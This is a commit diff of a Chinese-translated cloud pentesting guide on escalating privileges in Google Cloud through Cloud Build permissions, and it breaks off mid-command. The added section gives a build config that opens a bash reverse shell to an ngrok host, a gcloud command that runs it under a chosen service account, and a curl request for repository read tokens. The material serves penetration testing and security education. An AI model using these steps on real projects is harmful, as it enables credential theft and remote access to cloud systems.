Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:49:21 +00:00
parent 7b86cff528
commit 36d6914646

View File

@@ -12,22 +12,34 @@
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
拥有此权限,您可以**提交云构建**。cloudbuild 机器的文件系统中**默认会有一个 cloudbuild 服务账户的令牌**`<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`。但是,您可以在 cloudbuild 配置中**指项目内的任何服务账户**。\
因此,您可以让机器将令牌外泄到您的服务器,或者**在其中获取一个反向 shell 并获取令牌**(包含令牌的文件可能会更改)。
通过此权限,您可以**提交云构建**。cloudbuild 机器的文件系统中**默认会有 cloudbuild 服务账户的令牌**`<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`。但是,您可以在 cloudbuild 配置中**指项目内的任何服务账户**。\
因此,您可以让机器将令牌外泄到您的服务器,或者**在其中获取反向 shell 并获取令牌**(包含令牌的文件可能会更改)。
您可以在 [**GitHub 上找到原始利用脚本**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)(但我发现它获取令牌的位置对我无效)。因此,请查看一个脚本以自动化 [**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 和一个 Python 脚本以在 cloudbuild 机器中获取反向 shell 并 [**窃取它**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)(在代码中您可以找到如何指定其他服务账户的方式)**。**
#### 通过 gcloud CLI 直接利用
1- 创建 `cloudbuild.yaml` 并使用您的监听器数据进行修改
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
2- 上传一个没有源代码的简单构建yaml 文件并指定在构建中使用的服务账户:
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### 使用 python gcloud 库
您可以在 [**GitHub 上找到原始利用脚本**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)(但它获取令牌的位置对我不起作用)。因此,请检查一个脚本以自动化 [**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 和一个 python 脚本以在 cloudbuild 机器内部获取反向 shell 并 [**窃取它**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)(在代码中您可以找到如何指定其他服务帐户的方式)**。**
有关更深入的解释,请访问 [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.builds.update`
**潜在地**,拥有此权限后,您将能够**更新云构建并窃取服务账户令牌**,就像之前的权限所执行的那样(但不幸的是,在撰写本文时,我找不到任何调用该 API 的方法)。
TODO
### `cloudbuild.repositories.accessReadToken`
拥有此权限后,用户可以获取用于访问存储库的**读取访问令牌**
拥有此权限用户可以获取用于访问存储库的 **读取访问令牌**
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \